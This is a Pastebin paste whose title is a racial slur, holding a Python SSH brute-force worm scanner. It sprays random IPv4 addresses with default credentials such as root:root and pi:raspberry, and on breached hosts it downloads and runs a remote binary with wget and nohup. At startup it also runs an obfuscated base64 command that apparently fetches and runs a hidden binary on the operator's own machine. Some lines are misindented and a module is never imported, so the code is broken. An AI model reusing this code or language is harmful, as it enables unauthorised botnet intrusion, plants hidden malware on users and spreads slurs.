ZucoCheezy

Nigger-Scanner

Nov 26th, 2018
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.03 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. # ulimit -n 999999; ulimit -u 99999
  5. # sysctl -w fs.file-max=100000
  6. # python nigger.py 376 LUCKY x 0 (LUCKY RANGES)
  7. # python nigger.py 376 B 113.53 1 (SCANNER EXAMPLE)
  8. # python nigger.py 376 RAND x all (IP RANDOMIZATION)
  9. # 113.53, 125.26, 125.27, 125,
  10.  
  11. import threading, paramiko, random, socket, time, sys, base64
  12.  
  13. paramiko.util.log_to_file("/dev/null") # silents spam of paramiko
  14.  
  15. files = [ # Binary names
  16.     "mipsel",
  17.     "mips",
  18.     "sh4",
  19.     "x86_64",
  20.     "armv6l",
  21.     "i586",
  22.     "m86k",
  23.     "sparc",
  24. ]
  25.  
  26. website = "23.89.158.69" # Binary Host IP
  27.  
  28. reservedips = [
  29.  'http://127.',
  30.  'http://0',
  31.  'http://10.',
  32.  'http://100.64',
  33.  'http://100.65',
  34.  'http://100.66',
  35.  'http://100.67',
  36.  'http://100.68',
  37.  'http://100.69',
  38.  'http://100.70',
  39.  'http://100.71',
  40.  'http://100.72',
  41.  'http://100.73',
  42.  'http://100.74',
  43.  'http://100.75',
  44.  'http://100.76',
  45.  'http://100.77',
  46.  'http://100.78',
  47.  'http://100.79',
  48.  'http://100.80',
  49.  'http://100.81',
  50.  'http://100.82',
  51.  'http://100.83',
  52.  'http://100.84',
  53.  'http://100.85',
  54.  'http://100.86',
  55.  'http://100.87',
  56.  'http://100.88',
  57.  'http://100.89',
  58.  'http://100.90',
  59.  'http://100.91',
  60.  'http://100.92',
  61.  'http://100.93',
  62.  'http://100.94',
  63.  'http://100.95',
  64.  'http://100.96',
  65.  'http://100.97',
  66.  'http://100.98',
  67.  'http://100.99',
  68.  'http://100.100',
  69.  'http://100.101',
  70.  'http://100.102',
  71.  'http://100.103',
  72.  'http://100.104',
  73.  'http://100.105',
  74.  'http://100.106',
  75.  'http://100.107',
  76.  'http://100.108',
  77.  'http://100.109',
  78.  'http://100.110',
  79.  'http://100.111',
  80.  'http://100.112',
  81.  'http://100.113',
  82.  'http://100.114',
  83.  'http://100.115',
  84.  'http://100.116',
  85.  'http://100.117',
  86.  'http://100.118',
  87.  'http://100.119',
  88.  'http://100.120',
  89.  'http://100.121',
  90.  'http://100.122',
  91.  'http://100.123',
  92.  'http://100.124',
  93.  'http://100.125',
  94.  'http://100.126',
  95.  'http://100.127',
  96.  'http://169.254',
  97.  'http://172.16.',
  98.  'http://172.17.',
  99.  'http://172.18.',
  100.  'http://172.19.',
  101.  'http://172.20.',
  102.  'http://172.21.',
  103.  'http://172.22.',
  104.  'http://172.23.',
  105.  'http://172.24.',
  106.  'http://172.25.',
  107.  'http://172.26.',
  108.  'http://172.27.',
  109.  'http://172.28.',
  110.  'http://172.29.',
  111.  'http://172.30.',
  112.  'http://172.32.',
  113.  'http://192.0.0.0',
  114.  'http://192.0.0.1',
  115.  'http://192.0.0.2',
  116.  'http://192.0.0.3',
  117.  'http://192.0.0.4',
  118.  'http://192.0.0.5',
  119.  'http://192.0.0.6',
  120.  'http://192.0.0.7',
  121.  'http://192.0.2.',
  122.  'http://192.88.99.',
  123.  'http://192.168.',
  124.  'http://198.18.',
  125.  'http://198.19.',
  126.  'http://198.51.100.',
  127.  'http://203.0.113.',
  128.  'http://224.',
  129.  'http://225'
  130. ]
  131.  
  132.  
  133. passwords = [ # perls/la
  134.     "root:root",
  135.     "root:admin",
  136.     "admin:admin",
  137.     "ubnt:ubnt"
  138.     "root:1234",
  139.     "admin:1234",
  140.     "guest:guest",
  141.     "user:user",
  142.     "test:test",
  143.     "pi:raspberry",
  144.     "vagrant:vagrant"
  145. ]
  146.  
  147.  
  148. print sys.argv[0]+' <Threads(MAX: 376)> <A/B/C/ (IP Class)> <Range> <1(slow but effective)/2(fast but less effective)/perl(scans for perlbots/all(scans for everything!>'
  149.  
  150. if sys.argv[4] == '1':
  151.     passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective
  152. if sys.argv[4] == '2':
  153.     passwords = [ "root:root", "admin:admin" ] #Fast but yet less effective
  154. if sys.argv[4] == 'perl':
  155.     passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ] #perl scanner
  156. if sys.argv[4] == 'all':
  157.     passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow
  158.  
  159. def run(cmd):
  160.  
  161.     subprocess.call(cmd, shell=True)
  162.  
  163. checkbinaries = "Y2QgL3RtcDsgd2dldCAtcSBodHRwOi8vcjAwdHMudHJ1dGhkZWFsbW9kei5wdy8ueCAgOyAgY3VybCAtTyBodHRwOi8vcjAwdHMudHJ1dGhkZWFsbW9kei5wdy8ueCAgO2NobW9kICt4IC54OyBub2h1cCAuLy54IDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPiYxO3JtIC1yZiAueA=="
  164.  
  165. rebinaries = str(base64.b64decode(checkbinaries))
  166.  
  167. run(rebinaries)
  168.  
  169. run('clear')
  170.  
  171. ipclassinfo = sys.argv[2]
  172. if ipclassinfo == "A":
  173.     ip1 = sys.argv[3]
  174. elif ipclassinfo == "B":
  175.     ip1 = sys.argv[3].split(".")[0]
  176.     ip2 = sys.argv[3].split(".")[1]
  177. elif ipclassinfo == "C":
  178.     ips = sys.argv[3].split(".")
  179.     num=0
  180.     for ip in ips:
  181.         num=num+1
  182.         if num == 1:
  183.             ip1 = ip
  184.         elif num == 2:
  185.             ip2 = ip
  186.         elif num == 3:
  187.             ip3 = ip
  188. class sshscanner(threading.Thread):
  189.     global passwords
  190.     global ipclassinfo
  191.     if ipclassinfo == "A":
  192.         global ip1
  193.     elif ipclassinfo == "B":
  194.         global ip1
  195.         global ip2
  196.     elif ipclassinfo == "C":
  197.         global ip1
  198.         global ip2
  199.         global ip3
  200.     def run(self):
  201.         while 1:
  202.             try:
  203.                 while 1:
  204.                     thisipisbad='no'
  205.                     if ipclassinfo == "A":
  206.                         self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  207.                     elif ipclassinfo == "B":
  208.                         self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  209.               ssh.exec_command("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  210.                     elif ipclassinfo == "C":
  211.                         self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  212.                     elif ipclassinfo == "LUCKY":
  213.             lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97","125.17"]
  214.                         self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  215.                     else:
  216.                         self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  217.                     for badip in reservedips:
  218.                         if badip in self.host:
  219.                             thisipisbad='yes'
  220.                     if thisipisbad=='no':
  221.                         break
  222.                 self.host=self.host.replace('http://', '')
  223.                 username='root'
  224.                 password="0"
  225.                 port = 22
  226.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  227.                 s.settimeout(3)
  228.                 s.connect((self.host, port))
  229.                 s.close()
  230.                 ssh = paramiko.SSHClient()
  231.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  232.                 dobreak=False
  233.                 for passwd in passwords:
  234.                     if ":n/a" in passwd:
  235.                         password=""
  236.                     else:
  237.                         password=passwd.split(":")[1]
  238.                     if "n/a:" in passwd:
  239.                         username=""
  240.                     else:
  241.                         username=passwd.split(":")[0]
  242.                     try:
  243.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  244.                         dobreak=True
  245.                         break
  246.                     except:
  247.                         pass
  248.                     if True == dobreak:
  249.                         break
  250.                 badserver=True
  251.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  252.                 output = stdout.read()
  253.                 if "inet addr" in output:
  254.                     badserver=False
  255.                 websites = [ ]         
  256.                 if badserver == False:
  257.                         print 'Adding:'+username+'<'+password+'>'+self.host+'|'+str(port)
  258.                         ssh.exec_command("put ur wget here ignore the shit up top.") #la
  259.                        
  260.                         time.sleep(15)
  261.                     ssh.close()
  262.             except:
  263.                 pass
  264.  
  265. for x in range(0,int(sys.argv[1])):
  266.     try:
  267.         t = sshscanner()
  268.         t.start()
  269.     except:
  270.         pass
Advertisement
Add Comment
Please, Sign In to add comment